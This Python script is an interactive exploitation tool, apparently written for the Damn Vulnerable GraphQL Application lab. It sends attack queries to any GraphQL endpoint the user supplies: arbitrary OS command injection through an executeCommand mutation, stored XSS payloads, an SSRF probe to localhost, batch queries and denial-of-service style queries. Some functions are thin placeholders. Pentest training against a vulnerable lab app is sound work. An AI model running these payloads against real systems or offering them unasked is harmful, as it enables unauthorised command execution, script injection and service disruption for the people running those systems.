graphql_poc.py

import requests
import json
import argparse
import time
from colorama import Fore, Style, init

# Initialize colorama
init(autoreset=True)

def send_request(url, body, proxy=None):
    """ Send a request to the GraphQL endpoint through a proxy if provided. """
    try:
        start_time = time.time()  # Start time for measuring response time
        response = requests.post(url, json=body, proxies=proxy)
        response.raise_for_status()  # Raise an error for bad responses
        elapsed_time = time.time() - start_time
        print(Fore.BLUE + f"Response Time: {elapsed_time:.2f} seconds")
        return response
    except requests.exceptions.RequestException as e:
        print(Fore.RED + f"Request failed: {e}")
        return None

def introspection_query(url, proxy=None):
    """ Perform a GraphQL introspection query to discover the schema. """
    query = '''
    {
      __schema {
        types {
          name
        }
      }
    }
    '''
    body = {'query': query}
    response = send_request(url, body, proxy)
    print(Fore.GREEN + "Introspection Query Response:")
    print(json.dumps(response.json(), indent=2))

def batch_query_attack(url, proxy=None):
    """ Perform a batch query attack by sending multiple queries. """
    queries = [
        '{ query1 { field1 } }',
        '{ query2 { field2 } }',
        '{ query3 { field3 } }',
        '{ users { id name } }'
    ]
    
    for query in queries:
        body = {'query': query}
        response = send_request(url, body, proxy)
        print(Fore.GREEN + f"Response for {query}: {response.status_code}")

def os_command_injection(url, proxy=None):
    """ Test for OS Command Injection vulnerabilities. """
    print(Fore.YELLOW + "Select an OS Command Injection payload:")
    print("1. whoami")
    print("2. id")
    print("3. ls -la")
    print("4. Custom Command")
    
    choice = input("Enter your choice (1-4): ")
    
    if choice == "1":
        command = "whoami"
    elif choice == "2":
        command = "id"
    elif choice == "3":
        command = "ls -la"
    elif choice == "4":
        command = input("Enter your custom command: ")
    else:
        print(Fore.RED + "Invalid choice.")
        return

    query = f'''
    mutation {{
      executeCommand(input: "{command}")
    }}
    '''
    body = {'query': query}
    response = send_request(url, body, proxy)
    print(Fore.GREEN + "OS Command Injection Response:")
    print(json.dumps(response.json(), indent=2))

def stored_xss(url, proxy=None):
    """ Test for Stored Cross-Site Scripting (XSS) vulnerabilities. """
    print(Fore.YELLOW + "Select a Stored XSS payload:")
    print("1. <script>alert('XSS')</script>")
    print("2. <img src=x onerror=alert('XSS')>")
    print("3. Custom Payload")
    
    choice = input("Enter your choice (1-3): ")
    
    if choice == "1":
        payload = "<script>alert('XSS')</script>"
    elif choice == "2":
        payload = "<img src=x onerror=alert('XSS')>"
    elif choice == "3":
        payload = input("Enter your custom XSS payload: ")
    else:
        print(Fore.RED + "Invalid choice.")
        return

    query = f'''
    mutation {{
      createPost(input: {{ content: "{payload}" }}) {{
        id
      }}
    }}
    '''
    body = {'query': query}
    response = send_request(url, body, proxy)
    print(Fore.GREEN + "Stored XSS Response:")
    print(json.dumps(response.json(), indent=2))

def resource_intensive_query(url, proxy=None):
    """ Test a resource-intensive query. """
    query = '''
    {
      users {
        id
        name
        friends {
          name
        }
      }
    }
    '''
    body = {'query': query}
    response = send_request(url, body, proxy)
    print(Fore.GREEN + "Resource Intensive Query Response:")
    print(json.dumps(response.json(), indent=2))

def denial_of_service_attack(url, proxy=None):
    """ Test for Denial of Service by sending a large query. """
    query = '''
    {
      largeDataSet {
        id
        value
      }
    }
    '''
    body = {'query': query}
    response = send_request(url, body, proxy)
    print(Fore.GREEN + "Denial of Service Attack Response:")
    print(response.status_code)

def field_duplication_attack(url, proxy=None):
    """ Test for field duplication in a query. """
    query = '''
    {
      user {
        name
        name  # Duplicate field
        age
      }
    }
    '''
    body = {'query': query}
    response = send_request(url, body, proxy)
    print(Fore.GREEN + "Field Duplication Attack Response:")
    print(json.dumps(response.json(), indent=2))

def server_side_request_forgery(url, proxy=None):
    """ Test for Server-Side Request Forgery (SSRF). """
    payload = "http://localhost:8080"  # Example internal URL
    query = f'''
    {{
      internalService(url: "{payload}") {{
        response
      }}
    }}
    '''
    body = {'query': query}
    response = send_request(url, body, proxy)
    print(Fore.GREEN + "Server Side Request Forgery Response:")
    print(json.dumps(response.json(), indent=2))

def main():
    print(Fore.CYAN + "Acyber Team Developer")
    print(Fore.CYAN + "Automatic PoC For Damn Vulnerable GraphQL Application")

    
    parser = argparse.ArgumentParser(description="GraphQL Exploitation PoC Tool")
    parser.add_argument("-u", "--url", type=str, required=True, help="GraphQL endpoint URL")
    parser.add_argument("-p", "--proxy", type=str, help="Proxy URL (e.g., http://127.0.0.1:8080)")
    
    args = parser.parse_args()
    
    graphql_url = args.url
    proxy = None

    if args.proxy:
        proxy = {
            "http": args.proxy,
            "https": args.proxy,
        }

    print("Select an attack type:")
    print("1. GraphQL Introspection")
    print("2. Batch Query Attack")
    print("3. OS Command Injection")
    print("4. Stored Cross-Site Scripting (XSS)")
    print("5. Resource Intensive Query")
    print("6. Denial of Service Attack")
    print("7. Field Duplication Attack")
    print("8. Server Side Request Forgery (SSRF)")
    print("9. Custom GraphQL Request")
    
    choice = input("Enter your choice (1-9): ")

    if choice == "1":
        introspection_query(graphql_url, proxy)
    elif choice == "2":
        batch_query_attack(graphql_url, proxy)
    elif choice == "3":
        os_command_injection(graphql_url, proxy)
    elif choice == "4":
        stored_xss(graphql_url, proxy)
    elif choice == "5":
        resource_intensive_query(graphql_url, proxy)
    elif choice == "6":
        denial_of_service_attack(graphql_url, proxy)
    elif choice == "7":
        field_duplication_attack(graphql_url, proxy)
    elif choice == "8":
        server_side_request_forgery(graphql_url, proxy)
    elif choice == "9":
        print("Enter the body of the GraphQL request as JSON:")
        print("Example: { 'query': '{ users { id name } }', 'variables': {} }")
        body_input = input("Enter JSON body: ")
        
        try:
            body = json.loads(body_input)
            response = send_request(graphql_url, body, proxy)
            print("Custom Request Response:")
            print(json.dumps(response.json(), indent=2))
        except json.JSONDecodeError:
            print(Fore.RED + "Invalid JSON format. Please enter valid JSON.")
    else:
        print(Fore.RED + "Invalid choice. Please select a valid option.")

if __name__ == "__main__":
    main()